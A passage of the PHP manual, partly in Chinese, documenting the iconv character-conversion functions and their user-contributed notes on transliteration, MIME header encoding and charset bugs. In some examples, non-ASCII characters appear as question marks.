      return(iconv($charset, $charset, $data[0]->text));
    }
    return("");
 }
?>

I've only tried to use this code snippet to decode ISO-2022-JP messages to UTF-8, but I see no reason why it shouldn't work in other cases.


Composes a MIME header field

  • ? iconv_mime_decode
  • iconv_set_encoding ?
  • PHP Manual
  • iconv 函数
  • Composes a MIME header field

iconv_mime_encode

(PHP 5, PHP 7, PHP 8)

iconv_mime_encode — Composes a MIME header field

说明

iconv_mime_encode(string $field_name, string $field_value, array $options = []): string|false

Composes and returns a string that represents a valid MIME header field, which looks like the following:

Subject: =?ISO-8859-1?Q?Pr=FCfung_f=FCr?= Entwerfen von einer MIME kopfzeile
In the above example, "Subject" is the field name and the portion that begins with "=?ISO-8859-1?..." is the field value.

参数

field_name

The field name.

field_value

The field value.

options

You can control the behaviour of iconv_mime_encode() by specifying an associative array that contains configuration items to the optional third parameter options. The items supported by iconv_mime_encode() are listed below. Note that item names are treated case-sensitive.

Configuration items supported by iconv_mime_encode()
Item | Type | Description | Default value | Example
scheme | string | Specifies the method to encode a field value by. The value of this item may be either "B" or "Q", where "B" stands for base64 encoding scheme and "Q" stands for quoted-printable encoding scheme. | B | B
input-charset | string | Specifies the character set in which the first parameter field_name and the second parameter field_value are presented. If not given, iconv_mime_encode() assumes those parameters are presented to it in the iconv.internal_encoding ini setting. | iconv.internal_encoding | ISO-8859-1
output-charset | string | Specifies the character set to use to compose the MIME header. | iconv.internal_encoding | UTF-8
line-length | int | Specifies the maximum length of the header lines. The resulting header is "folded" to a set of multiple lines in case the resulting header field would be longer than the value of this parameter, according to » RFC2822 - Internet Message Format. If not given, the length will be limited to 76 characters. | 76 | 996
line-break-chars | string | Specifies the sequence of characters to append to each line as an end-of-line sign when "folding" is performed on a long header field. If not given, this defaults to "\r\n" (CR LF). Note that this parameter is always treated as an ASCII string regardless of the value of input-charset. | \r\n | \n

返回值

Returns an encoded MIME field on success, or false if an error occurs during the encoding.

示例

Example #1 iconv_mime_encode() example

<?php
$preferences = array(
"input-charset" => "ISO-8859-1",
"output-charset" => "UTF-8",
"line-length" => 76,
"line-break-chars" => "\n"
);
$preferences["scheme"] = "Q";
// This yields "Subject: =?UTF-8?Q?Pr=C3=BCfung=20Pr=C3=BCfung?="
echo iconv_mime_encode("Subject", "Prüfung Prüfung", $preferences);

$preferences["scheme"] = "B";
// This yields "Subject: =?UTF-8?B?UHLDvGZ1bmcgUHLDvGZ1bmc=?="
echo iconv_mime_encode("Subject", "Prüfung Prüfung", $preferences);
?>

参见

  • imap_binary() - Convert an 8bit string to a base64 string
  • mb_encode_mimeheader() - 为 MIME 头编码字符串
  • imap_8bit() - Convert an 8bit string to a quoted-printable string
  • quoted_printable_encode() - 将 8-bit 字符串转换成 quoted-printable 字符串

User Contributed Notes

shaman_master at list dot ru 19-Feb-2020 07:36
From mail(): Lines should not belarger than 70 characters.  Not 76 and not 72!
cedric at gn dot apc dot org 13-Mar-2012 03:54
iconv_mime_encode() isn't directly suitable for encoding headers which include "specials" as described in RFC 1522 s4 & s5, for example
<?php
$mimeprefs = array ("scheme" => "Q",
                    "input-charset" => "utf-8",
                    "output-charset" => "utf-8",
                    "line-break-chars" => "\n");
$enc = iconv_mime_encode('From',  '"Réal Namé" <user@example.com>', $prefs);
?>
will wrongly attempt to encode the angle brackets.  To use the function in place of mb_encode_mimeheader(), instead you need to encode the words separately, removing the superfluous field name:

<?php
$encoded = "From: \"". preg_replace('/^:\s+/', '', iconv_mime_encode("", $real, $mimeprefs))."\" <$email>";
?>

Also, values of "line-length" greater than 76 would be illegal under RFC 1522 and resulting encoded words may not be recognised.  (Not tested, but 72 would be safer.)
markus AT birth MINUS online DOT de 19-May-2010 05:38
Looks like this function suffers from the same bug as mb_encode_mime() with long strings of non us-ascii characters. The function then returns false. This applies for utf-8 to utf-8 "conversion".

<?php
$subject = 'Вы находитесь здесь: Главная > продукт';

$prefs = array(
    'scheme' => 'Q',
    'input-charset' => 'UTF-8',
    'output-charset' => 'UTF-8',
    'line-length' => 76,
    'line-break-chars' => "\r\n",
);

echo 'Original: ' . $subject . PHP_EOL;
$enc = iconv_mime_encode( 'Subject', $subject, $prefs );
var_dump( $enc );  // will show bool(false)
?>

As a workaround, you could explode() the value on spaces and encode each word separately. Then remove the "Subject: " in front of the resulting strings and join() them with "\r\n " (don't forget the SPACE after the \n) as separator.


为字符编码转换设定当前设置

  • ? iconv_mime_encode
  • iconv_strlen ?
  • PHP Manual
  • iconv 函数
  • 为字符编码转换设定当前设置

iconv_set_encoding

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

iconv_set_encoding — 为字符编码转换设定当前设置

说明

iconv_set_encoding(string $type, string $encoding): bool

将 type 设置的值从内部配置变量更改为 encoding。

参数

type

type 的值可以是以下其中任意一个：

  • input_encoding
  • output_encoding
  • internal_encoding

encoding

字符集。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 iconv_set_encoding() 示例

<?php
iconv_set_encoding("internal_encoding", "UTF-8");
iconv_set_encoding("output_encoding", "ISO-8859-1");
?>

参见

  • iconv_get_encoding() - 获取 iconv 扩展的内部配置变量
  • ob_iconv_handler() - 以输出缓冲处理程序转换字符编码

User Contributed Notes

Coralie B 15-Sep-2016 09:10
I encountered the same issue than joe dot bowman at edigitalresearch.com

Even if i read on the web that it is a usual issue when using PHP 5.6 and upper, i didn't encounter it on every sites on which i use PHP 5.6.

Nevertheless, i had to find a solution because, when the issue appears, it's embarrassing. This is what i found thanks to Alexandra López on http://hasibul.info.

Instead of :
if (function_exists('iconv'))
{
// These are settings that can be set inside code
    iconv_set_encoding("internal_encoding", "UTF-8?);
    iconv_set_encoding("input_encoding", "UTF-8?);
    iconv_set_encoding("output_encoding", "UTF-8?);
}

i use :
if (PHP_VERSION_ID < 50600) {
    iconv_set_encoding('input_encoding', 'UTF-8');
    iconv_set_encoding('output_encoding', 'UTF-8');
    iconv_set_encoding('internal_encoding', 'UTF-8');
} else {
    ini_set('default_charset', 'UTF-8');
}
joe dot bowman at edigitalresearch.com 18-Nov-2014 10:26
As of PHP 5.6, this throws a Deprecated level error, as is consistent with setting the iconv.*_encoding ini settings:

iconv_set_encoding('internal_encoding', 'UTF-8');

triggers:

PHP Deprecated:  iconv_set_encoding(): Use of iconv.internal_encoding is deprecated in ...
pasamio at gmail dot com 03-Jan-2008 11:18
On PHP 5.2.5 when iconv.*_encoding values are set using php_admin_value in the Apache configuration file, this call will fail and return false.


返回字符串的字符数统计

  • ? iconv_set_encoding
  • iconv_strpos ?
  • PHP Manual
  • iconv 函数
  • 返回字符串的字符数统计

iconv_strlen

(PHP 5, PHP 7, PHP 8)

iconv_strlen — 返回字符串的字符数统计

说明

iconv_strlen(string $string, ?string $encoding = null): int|false

和 strlen() 不同的是，iconv_strlen() 统计了给定的字节序列 string 中出现字符数的统计，基于指定的字符集，其产生的结果不一定和字符字节数相等。

参数

string

该字符串。

encoding

如果 encoding 参数省略或为 null，假设 string 的编码为 iconv.internal_encoding。

返回值

返回 str 字符数的统计，是整型。如果编码期间出现错误，为 false。

更新日志

版本 | 说明
8.0.0 | encoding 现在可为 null。

参见

  • grapheme_strlen() - Get string length in grapheme units
  • mb_strlen() - 获取字符串的长度
  • strlen() - 获取字符串长度

User Contributed Notes

sheryl 12-Apr-2020 06:15
Notice there is a disconnect:
>If charset`parameter is omitted, str is assumed to be encoded in iconv.internal_encoding.

But clicking on the iconv.internal_encoding link (https://www.php.net/manual/en/iconv.configuration.php), the docs indicate that iconv.internal_encoding is deprecated since 5.6.
hfuecks @ nospam org 24-Feb-2006 04:58
If iconv_strlen is passed a UTF-8 string containing badly formed sequences, it will return FALSE. This is in contrast to mb_strlen of the behaviour of utf8_decode, which strip out any bad sequences;

<?php
# UTF-8 string containing bad sequence: \xe9
$str = "I?t?rn?ti?n\xe9?liz?ti?n";

print "mb_strlen: ".mb_strlen($str,'UTF-8')."\n";
print "strlen/utf8_decode: ".strlen(utf8_decode($str))."\n";
print "iconv_strlen: ".iconv_strlen($str,'UTF-8')."\n";
?>

Displays;

mb_strlen: 20
strlen/utf8_decode: 20
iconv_strlen:

(PHP 5.0.5)

As such it is being "stricter" than mb_strlen and it may mean you need to check for invalid sequences first. A quick way to check is to exploit the behaviour of the PCRE extension (see notes on pattern modifiers);

<?php
if (preg_match('/^.{1}/us',$str,$ar) != 1) {
    die("string contains invalid UTF-8");
}
?>

A slower but stricter check (regex) can be found at: http://www.w3.org/International/questions/qa-forms-utf-8

Similiar applies to iconv_substr, iconv_strpos and iconv_strrpos


Finds position of first occurrence of a needle within a haystack

  • ? iconv_strlen
  • iconv_strrpos ?
  • PHP Manual
  • iconv 函数
  • Finds position of first occurrence of a needle within a haystack

iconv_strpos

(PHP 5, PHP 7, PHP 8)

iconv_strpos — Finds position of first occurrence of a needle within a haystack

说明

iconv_strpos(
string $haystack,
string $needle,
int $offset = 0,
?string $encoding = null
): int|false

Finds position of first occurrence of a needle within a haystack.

In contrast to strpos(), the return value of iconv_strpos() is the number of characters that appear before the needle, rather than the offset in bytes to the position where the needle has been found. The characters are counted on the basis of the specified character set encoding.

参数

haystack

The entire string.

needle

The searched substring.

offset

The optional offset parameter specifies the position from which the search should be performed. If the offset is negative, it is counted from the end of the string.

encoding

If encoding parameter is omitted or null, string are assumed to be encoded in iconv.internal_encoding.

If haystack or needle is not a string, it is converted to a string and applied as the ordinal value of a character.

返回值

Returns the numeric position of the first occurrence of needle in haystack.

If needle is not found, iconv_strpos() will return false.

Warning

此函数可能返回布尔值 false，但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

更新日志

版本 | 说明
8.0.0 | encoding is nullable now.
7.1.0 | Support for negative offsets has been added.

参见

  • strpos() - 查找字符串首次出现的位置
  • iconv_strrpos() - Finds the last occurrence of a needle within a haystack
  • mb_strpos() - 查找字符串在另一个字符串中首次出现的位置

User Contributed Notes

There are no user contributed notes for this page.


Finds the last occurrence of a needle within a haystack

  • ? iconv_strpos
  • iconv_substr ?
  • PHP Manual
  • iconv 函数
  • Finds the last occurrence of a needle within a haystack

iconv_strrpos

(PHP 5, PHP 7, PHP 8)

iconv_strrpos — Finds the last occurrence of a needle within a haystack

说明

iconv_strrpos(string $haystack, string $needle, ?string $encoding = null): int|false

Finds the last occurrence of a needle within a haystack.

In contrast to strrpos(), the return value of iconv_strrpos() is the number of characters that appear before the needle, rather than the offset in bytes to the position where the needle has been found. The characters are counted on the basis of the specified character set encoding.

参数

haystack

The entire string.

needle

The searched substring.

encoding

If encoding parameter is omitted or null, string are assumed to be encoded in iconv.internal_encoding.

If haystack or needle is not a string, it is converted to a string and applied as the ordinal value of a character.

返回值

Returns the numeric position of the last occurrence of needle in haystack.

If needle is not found, iconv_strrpos() will return false.

Warning

此函数可能返回布尔值 false，但也可能返回等同于 false 的非布尔值。请阅读 布尔类型章节以获取更多信息。应使用 === 运算符来测试此函数的返回值。

更新日志

版本 | 说明
8.0.0 | encoding is nullable now.

参见

  • strrpos() - 计算指定字符串在目标字符串中最后一次出现的位置
  • iconv_strpos() - Finds position of first occurrence of a needle within a haystack
  • mb_strrpos() - 查找字符串在一个字符串中最后出现的位置

User Contributed Notes

There are no user contributed notes for this page.


截取字符串的部分

  • ? iconv_strrpos
  • iconv ?
  • PHP Manual
  • iconv 函数
  • 截取字符串的部分

iconv_substr

(PHP 5, PHP 7, PHP 8)

iconv_substr — 截取字符串的部分

说明

iconv_substr(
string $string,
int $offset,
?int $length = null,
?string $encoding = null
): string|false

根据 offset 和 length 参数指定 string 截取的部分。

参数

string

原始字符串。

offset

如果 offset 是非负数，iconv_substr() 从 string 开头第 offset 个字符开始截出部分，从 0 开始计数。

如果 offset 是负数，iconv_substr() 从 string 末尾向前 offset 个字符开始截取。

length

如果指定了 length 并且是正数，返回的值从 offset 截取部分，最多包含 length 个字符（取决于 string 的长度）。

如果传入了负数的 length， iconv_substr() 将从第 offset 个字符到离末尾 length 个字符截出 string 的部分。 如果 offset 也是负数，则开始位置计算规则的解释见以上。

encoding

如果省略了参数 encoding，string 的编码被认定为 iconv.internal_encoding。

注意，offset 和 length 参数总是被认为字符表现的偏移，基于 encoding 检测到的字符集进行统计计算，而相对应的 substr() 则是基于字节的位移来计算。

返回值

返回 offset 和 length 参数指定的 string 的部分。

如果 string 比 offset 字符数更短，将会返回 false。 如果 string 是 offset 个字符的长度，将返回空字符串。

更新日志

版本 | 说明
8.0.0 | length 和 encoding 现在可为 null。
7.0.11 | 如果 string 等于 offset 个字符，将返回空字符串。之前的版本里，这种情况会返回 false。

参见

  • substr() - 返回字符串的子串
  • mb_substr() - 获取部分字符串
  • mb_strcut() - 获取字符的一部分

User Contributed Notes

doru87 at gmail dot com 21-Jan-2010 05:29
just fyi, iconv_substr() unknown error (0) has been resolved in PHP 5.2

you can also try mb_substr() or just substr() when dealing with this issue. Unfortunately there is no way to fix it in versions prior to 5.2.

Regards,
Teodor Sandu
qbolec at terra dot es 25-May-2007 02:07
<?=
iconv_substr("A",0,1);
?>
generates folowing error:
Notice: iconv_substr() [function.iconv-substr]: Unknown error (0) in [...]

while, <?= iconv_substr("AB",0,1) ?> and <?= iconv_substr("AB",0,2) ?>
work as expected.


将字符串从一个字符编码转换到另一个字符编码

  • ? iconv_substr
  • ob_iconv_handler ?
  • PHP Manual
  • iconv 函数
  • 将字符串从一个字符编码转换到另一个字符编码

iconv

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

iconv — 将字符串从一个字符编码转换到另一个字符编码

说明

iconv(string $from_encoding, string $to_encoding, string $string): string|false

将 string 从 from_encoding 转换到 to_encoding。

参数

from_encoding

用于解释 string 的当前编码。

to_encoding

所需的结果编码。

如果字符串 //TRANSLIT 追加到 to_encoding ，然后将启用转写（transliteration）功能。这意味着当字符不能被目标字符集所表示时，它可以通过一个或多个形似的字符来近似表达。 如果追加字符串 //IGNORE，不能以目标字符集表达的字符将被默默丢弃。否则，会导致 E_NOTICE 并返回 false。

Caution

//TRANSLIT 运行细节高度依赖于系统的 iconv() 实现（参见 ICONV_IMPL）。 据悉，某些系统上的实现会直接忽略 //TRANSLIT，所以转换也有可能失败，to_encoding 会是不合格的。

string

要转换的 string。

返回值

返回转换后的字符串， 或者在失败时返回 false。

示例

Example #1 iconv() 示例

<?php
$text = "This is the Euro symbol '�'.";

echo 'Original : ', $text, PHP_EOL;
echo 'TRANSLIT : ', iconv("UTF-8", "ISO-8859-1//TRANSLIT", $text), PHP_EOL;
echo 'IGNORE : ', iconv("UTF-8", "ISO-8859-1//IGNORE", $text), PHP_EOL;
echo 'Plain : ', iconv("UTF-8", "ISO-8859-1", $text), PHP_EOL;

?>

以上示例的输出类似于：

Original : This is the Euro symbol '�'.
TRANSLIT : This is the Euro symbol 'EUR'.
IGNORE   : This is the Euro symbol ''.
Plain    :
Notice: iconv(): Detected an illegal character in input string in .\iconv-example.php on line 7

注释

Note:

可用的字符编码和选项取决于已安装的 iconv 实现。如果当前系统不支持 from_encoding 或 to_encoding 的参数，则返回 false。

参见

  • mb_convert_encoding() - 转换字符串，从一个字符编码到另一个字符编码
  • UConverter::transcode() - Convert a string from one character encoding to another

User Contributed Notes

Daniel Klein 18-Nov-2019 01:41
If you want to convert to a Unicode encoding without the byte order mark (BOM), add the endianness to the encoding, e.g. instead of "UTF-16" which will add a BOM to the start of the string, use "UTF-16BE" which will convert the string without adding a BOM.

i.e.

<?php
iconv('CP1252', 'UTF-16', $text); // with BOM
iconv('CP1252', 'UTF-16BE', $text); // without BOM
phpnet at dariosulser dot ch 18-Sep-2019 01:12
ANSI = Windows-1252 = CP1252
So UTF-8 -> ANSI:

<?php
      $string = "Winkel γ=200 für 1�"; //"γ"=HTML:&gamma;
      $result = iconv('UTF-8', 'CP1252//IGNORE', $string);
      echo $result;
?>

Note1
<?php
      $string = "Winkel γ=200 für 1�";
      $result = iconv('UTF-8', 'CP1252', $string);
      echo $result; //"conv(): Detected an illegal character in input string"
?>

Note2 (ANSI is better than decode in ISO 8859-1 (ISO-8859-1==Latin-1)
<?php
      $string = "Winkel γ=200 für 1�";
      $result = utf8_decode($string);
      echo $result; //"Winkel ?=200 für 1?"
?>

Note3 of used languages on Websites:
93.0% = UTF-8;
3.5% = Latin-1;
0.6% = ANSI <----- you shoud use (or utf-8 if your page is in Chinese or has Maths)
Daniel Klein 08-Apr-2016 09:12
I just found out today that the Windows and *NIX versions of PHP use different iconv libraries and are not very consistent with each other.

Here is a repost of my earlier code that now works on more systems. It converts as much as possible and replaces the rest with question marks:

<?php
if (!function_exists('utf8_to_ascii')) {
  setlocale(LC_CTYPE, 'en_AU.utf8');
  if (@iconv("UTF-8", "ASCII//IGNORE//TRANSLIT", 'é') === false) {
    // PHP is probably using the glibc library (*NIX)
    function utf8_to_ascii($text) {
      return iconv("UTF-8", "ASCII//TRANSLIT", $text);
    }
  }
  else {
    // PHP is probably using the libiconv library (Windows)
    function utf8_to_ascii($text) {
      if (is_string($text)) {
        // Includes combinations of characters that present as a single glyph
        $text = preg_replace_callback('/\X/u', __FUNCTION__, $text);
      }
      elseif (is_array($text) && count($text) == 1 && is_string($text[0])) {
        // IGNORE characters that can't be TRANSLITerated to ASCII
        $text = iconv("UTF-8", "ASCII//IGNORE//TRANSLIT", $text[0]);
        // The documentation says that iconv() returns false on failure but it returns ''
        if ($text === '' || !is_string($text)) {
          $text = '?';
        }
        elseif (preg_match('/\w/', $text)) {        // If the text contains any letters...
          $text = preg_replace('/\W+/', '', $text); // ...then remove all non-letters
        }
      }
      else {  // $text was not a string
        $text = '';
      }
      return $text;
    }
  }
}
Nopius 26-Mar-2015 02:08
As orrd101 said, there is a bug with //IGNORE in recent PHP versions (we use 5.6.5) where we couldn't convert some strings (i.e. "?" from UTF8 to CP1251 with //IGNORE).
But we have found a workaround and now we use both //TRANSLIT and //IGNORE flags:
$text="?";
iconv("UTF8", "CP1251//TRANSLIT//IGNORE", $text);
atelier at degoy dot com 19-Nov-2014 07:41
There may be situations when a new version of a web site, all in UTF-8, has to display some old data remaining in the database with ISO-8859-1 accents. The problem is iconv("ISO-8859-1", "UTF-8", $string) should not be applied if $string is already UTF-8 encoded.

I use this function that does'nt need any extension :

function convert_utf8( $string ) {
    if ( strlen(utf8_decode($string)) == strlen($string) ) {
        // $string is not UTF-8
        return iconv("ISO-8859-1", "UTF-8", $string);
    } else {
        // already UTF-8
        return $string;
    }
}

 I have not tested it extensively, hope it may help.
rasmus at mindplay dot dk 27-Jun-2014 11:52
Note an important difference between iconv() and mb_convert_encoding() - if you're working with strings, as opposed to files, you most likely want mb_convert_encoding() and not iconv(), because iconv() will add a byte-order marker to the beginning of (for example) a UTF-32 string when converting from e.g. ISO-8859-1, which can throw off all your subsequent calculations and operations on the resulting string.

In other words, iconv() appears to be intended for use when converting the contents of files - whereas mb_convert_encoding() is intended for use when juggling strings internally, e.g. strings that aren't being read/written to/from files, but exchanged with some other media.
chicopeste at gmail dot com 25-Sep-2013 07:45
iconv also support CP850.
I used iconv("CP850", "UTF-8//TRANSLIT", $var);
to convert from SQL_Latin1_General_CP850_CI_AI to UTF-8.
jorortega at gmail dot com 04-Sep-2013 03:52
Be aware that iconv in PHP uses system implementations of locales and languages, what works under linux, normally doesn't in windows.

Also, you may notice that recent versions of linux (debian, ubuntu, centos, etc) the //TRANSLIT option doesn't work. since most distros doesn't include the intl packages (example: php5-intl and icuxx (where xx is a number) in debian) by default. And this because the intl package conflicts with another package needed for international DNS resolution.

Problem is that configuration is dependent of the sysadmin of the machine where you're hosted, so iconv is pretty much useless by default,  depending on what configuration is used by your distro or the machine's admin.
jessiedeer at hotmail dot com 15-Jul-2013 02:06
iconv with //IGNORE works as expected: it will skip the character if this one does not exist in the $out_charset encoding.

If a character is missing from the $in_charset encoding (eg byte \x81 from CP1252 encoding), then iconv will return an error, whether with //IGNORE or not.
jessie at hotmail dot com 21-Jun-2013 09:44
Provided that there is no invalid code point in the character chain for the input encoding, the //IGNORE option works as expected. No bug here.
admin at iecw dot net 10-Apr-2013 05:39
If you want to normalize a filename on Mac OS X, because it is in UTF-8 NFD and you need UTF-8 NFC
(See: http://en.wikipedia.org/wiki/Unicode_equivalence#Combining_and_precomposed_characters)
you may use:
<?php
$filename_nfc = iconv("UTF-8-MAC", "UTF-8", $filename_nfd);
?>
Daniel Klein 13-Mar-2013 12:17
You can use 'CP1252' instead of 'Windows-1252':
<?php
// These two lines are equivalent
$result = iconv('Windows-1252', 'UTF-8', $string);
$result = iconv('CP1252', 'UTF-8', $string);
?>
Note: The following code points are not valid in CP1252 and will cause errors.
129 (0x81)
141 (0x8D)
143 (0x8F)
144 (0x90)
157 (0x9D)
Use the following instead:
<?php
// Remove invalid code points, convert everything else
$result = iconv('CP1252', 'UTF-8//IGNORE', $string);
?>
orrd101 at gmail dot com 14-May-2012 06:58
The "//ignore" option doesn't work with recent versions of the iconv library.  So if you're having trouble with that option, you aren't alone.

That means you can't currently use this function to filter invalid characters.  Instead it silently fails and returns an empty string (or you'll get a notice but only if you have E_NOTICE enabled).

This has been a known bug with a known solution for at least since 2009 years but no one seems to be willing to fix it (PHP must pass the -c option to iconv).  It's still broken as of the latest release 5.4.3.

https://bugs.php.net/bug.php?id=48147
https://bugs.php.net/bug.php?id=52211
https://bugs.php.net/bug.php?id=61484

[UPDATE 15-JUN-2012]
Here's a workaround...

  ini_set('mbstring.substitute_character', "none");
  $text= mb_convert_encoding($text, 'UTF-8', 'UTF-8');

That will strip invalid characters from UTF-8 strings (so that you can insert it into a database, etc.).  Instead of "none" you can also use the value 32 if you want it to insert spaces in place of the invalid characters.
daniel dot rhodes at warpasylum dot co dot uk 23-Aug-2011 08:22
Interestingly, setting different target locales results in different, yet appropriate, transliterations. For example:

<?php
//some German
$utf8_sentence = 'Wei?, Goldmann, G?bel, Weiss, G?the, Goethe und G?tz';

//UK
setlocale(LC_ALL, 'en_GB');

//transliterate
$trans_sentence = iconv('UTF-8', 'ASCII//TRANSLIT', $utf8_sentence);

//gives [Weiss, Goldmann, Gobel, Weiss, Gothe, Goethe und Gotz]
//which is our original string flattened into 7-bit ASCII as
//an English speaker would do it (ie. simply remove the umlauts)
echo $trans_sentence . PHP_EOL;

//Germany
setlocale(LC_ALL, 'de_DE');

$trans_sentence = iconv('UTF-8', 'ASCII//TRANSLIT', $utf8_sentence);

//gives [Weiss, Goldmann, Goebel, Weiss, Goethe, Goethe und Goetz]
//which is exactly how a German would transliterate those
//umlauted characters if forced to use 7-bit ASCII!
//(because really ? = ae, ? = oe and ü = ue)
echo $trans_sentence . PHP_EOL;

?>
ameten 14-Jan-2011 04:17
I have used iconv to convert from cp1251 into UTF-8. I spent a day to investigate why a string with Russian capital 'Р' (sounds similar to 'r') at the end cannot be inserted into a database.

The problem is not in iconv. But 'Р' in cp1251 is chr(208) and 'Р' in UTF-8 is chr(208).chr(106). chr(106) is one of the space symbol which match '\s' in regex. So, it can be taken by a greedy '+' or '*' operator. In that case, you loose 'Р' in your string.

For example, 'ГР   ' (Russian, UTF-8). Function preg_match. Regex is '(.+?)[\s]*'. Then '(.+?)' matches 'Г'.chr(208) and '[\s]*' matches chr(106).'   '.

Although, it is not a bug of iconv, but it looks like it very much. That's why I put this comment here.
vb (at) bertola.eu 15-Jul-2010 06:35
On my system, according to tests, and also as reported by other people elsewhere, you can combine TRANSLIT and IGNORE only by appending

//IGNORE//TRANSLIT

strictly in that order, but NOT by appending //TRANSLIT//IGNORE, which would lead to //IGNORE being ignored ( :) ).

Anyway, it's hard to understand how one could devise a system of passing options that does not allow to couple both options in a neat manner, and also to understand why the default behaviour should be the less useful and most dangerous one (throwing away most of your data at the first unexpected character). Software design FAIL :-/
Anonymous 18-Jan-2010 11:37
For text with special characters such as (é) &eacute; which appears at 0xE9 in the ISO-8859-1 and at 0x82 in IBM-850. The correct output character set is 'IBM850' as:
('ISO-8859-1', 'IBM850', 'Québec')
Andries Seutens 07-Nov-2009 11:38
When doing transliteration, you have to make sure that your LC_COLLATE is properly set, otherwise the default POSIX will be used.

To transform "rené" into "rene" we could use the following code snippet:

<?php

setlocale(LC_CTYPE, 'nl_BE.utf8');

$string = 'rené';
$string = iconv('UTF-8', 'ASCII//TRANSLIT', $string);

echo $string; // outputs rene

?>
annuaireehtp at gmail dot com 14-Oct-2009 04:53
to test different combinations of convertions between charsets (when we don't know the source charset and what is the convenient destination charset) this is an example :

<?php
$tab = array("UTF-8", "ASCII", "Windows-1252", "ISO-8859-15", "ISO-8859-1", "ISO-8859-6", "CP1256");
$chain = "";
foreach ($tab as $i)
    {
        foreach ($tab as $j)
        {
            $chain .= " $i$j ".iconv($i, $j, "$my_string");
        }
    }

echo $chain;
?>

then after displaying, you use the $i$j that shows good displaying.
NB: you can add other charsets to $tab  to test other cases.
phpmanualspam at netebb dot com 17-Sep-2009 11:53
mirek code, dated 16-May-2008 10:17, added the characters `^~'" to the output.
This function will strip out these extra characters:
<?php
setlocale(LC_ALL, 'en_US.UTF8');
function clearUTF($s)
{
    $r = '';
    $s1 = @iconv('UTF-8', 'ASCII//TRANSLIT', $s);
    $j = 0;
    for ($i = 0; $i < strlen($s1); $i++) {
        $ch1 = $s1[$i];
        $ch2 = @mb_substr($s, $j++, 1, 'UTF-8');
        if (strstr('`^~\'"', $ch1) !== false) {
            if ($ch1 <> $ch2) {
                --$j;
                continue;
            }
        }
        $r .= ($ch1=='?') ? $ch2 : $ch1;
    }
    return $r;
}
?>
martin at front of mind dot co dot uk 29-May-2009 03:33
For transcoding values in an Excel generated CSV the following seems to work:

<?php
$value = iconv('Windows-1252', 'UTF-8//TRANSLIT', $value);
?>
manuel at kiessling dot net 16-Apr-2009 09:33
Like many other people, I have encountered massive problems when using iconv() to convert between encodings (from UTF-8 to ISO-8859-15 in my case), especially on large strings.

The main problem here is that when your string contains illegal UTF-8 characters, there is no really straight forward way to handle those. iconv() simply (and silently!) terminates the string when encountering the problematic characters (also if using //IGNORE), returning a clipped string. The

<?php

$newstring = html_entity_decode(htmlentities($oldstring, ENT_QUOTES, 'UTF-8'), ENT_QUOTES , 'ISO-8859-15');

?>

workaround suggested here and elsewhere will also break when encountering illegal characters, at least dropping a useful note ("htmlentities(): Invalid multibyte sequence in argument in...")

I have found a lot of hints, suggestions and alternative methods (it's scary and in my opinion no good sign how many ways PHP natively provides to convert the encoding of strings), but none of them really worked, except for this one:

<?php

$newstring = mb_convert_encoding($oldstring, 'ISO-8859-15', 'UTF-8');

?>
kikke 20-Feb-2009 04:50
You can use native iconv in Linux via passthru if all else failed.
Use the -c parameter to suppress error messages.
Leigh Morresi 01-Oct-2008 11:10
If you are getting question-marks in your iconv output when transliterating, be sure to 'setlocale' to something your system supports.

Some PHP CMS's will default setlocale to 'C', this can be a problem.

use the "locale" command to find out a list..

$ locale -a
C
en_AU.utf8
POSIX

<?php
  setlocale(LC_CTYPE, 'en_AU.utf8');
  $str = iconv('UTF-8', 'ASCII//TRANSLIT', "C?te d'Ivoire");
?>
mirek at burkon dot org 16-May-2008 03:17
If you need to strip as many national characters from UTF-8 as possible and keep the rest of input unchanged (i.e. convert whatever can be converted to ASCII and leave the rest), you can do it like this:

<?php
setlocale(LC_ALL, 'en_US.UTF8');

function clearUTF($s)
{
    $r = '';
    $s1 = iconv('UTF-8', 'ASCII//TRANSLIT', $s);
    for ($i = 0; $i < strlen($s1); $i++)
    {
        $ch1 = $s1[$i];
        $ch2 = mb_substr($s, $i, 1);

        $r .= $ch1=='?'?$ch2:$ch1;
    }
    return $r;
}

echo clearUTF('?íleně ?lu?ou?ky Va?ek úpěl olol! This will remain untranslated: ??????');
//outputs Silene zlutoucky Vasek upel olol! This will remain untranslated: ??????
?>

Just remember you HAVE TO set locale to some unicode encoding to make iconv handle //TRANSLIT correctly!
berserk220 at mail dot ru 29-Feb-2008 06:44
So, as iconv() does not always work correctly, in most cases, much easier to use htmlentities().
Example: <?php $content=htmlentities(file_get_contents("incoming.txt"), ENT_QUOTES, "Windows-1252");  file_put_contents("outbound.txt", html_entity_decode($content, ENT_QUOTES , "utf-8")); ?>
anton dot vakulchik at gmail dot com 02-Feb-2008 10:40
function detectUTF8($string)
{
        return preg_match('%(?:
        [\xC2-\xDF][\x80-\xBF]        # non-overlong 2-byte
        |\xE0[\xA0-\xBF][\x80-\xBF]               # excluding overlongs
        |[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2}      # straight 3-byte
        |\xED[\x80-\x9F][\x80-\xBF]               # excluding surrogates
        |\xF0[\x90-\xBF][\x80-\xBF]{2}    # planes 1-3
        |[\xF1-\xF3][\x80-\xBF]{3}                  # planes 4-15
        |\xF4[\x80-\x8F][\x80-\xBF]{2}    # plane 16
        )+%xs', $string);
}

function cp1251_utf8( $sInput )
{
    $sOutput = "";

    for ( $i = 0; $i < strlen( $sInput ); $i++ )
    {
        $iAscii = ord( $sInput[$i] );

        if ( $iAscii >= 192 && $iAscii <= 255 )
            $sOutput .=  "&#".( 1040 + ( $iAscii - 192 ) ).";";
        else if ( $iAscii == 168 )
            $sOutput .= "&#".( 1025 ).";";
        else if ( $iAscii == 184 )
            $sOutput .= "&#".( 1105 ).";";
        else
            $sOutput .= $sInput[$i];
    }

    return $sOutput;
}

function encoding($string){
    if (function_exists('iconv')) {
        if (@!iconv('utf-8', 'cp1251', $string)) {
            $string = iconv('cp1251', 'utf-8', $string);
        }
        return $string;
    } else {
        if (detectUTF8($string)) {
            return $string;
        } else {
            return cp1251_utf8($string);
        }
    }
}
echo encoding($string);
mightye at gmail dot com 05-Nov-2007 05:01
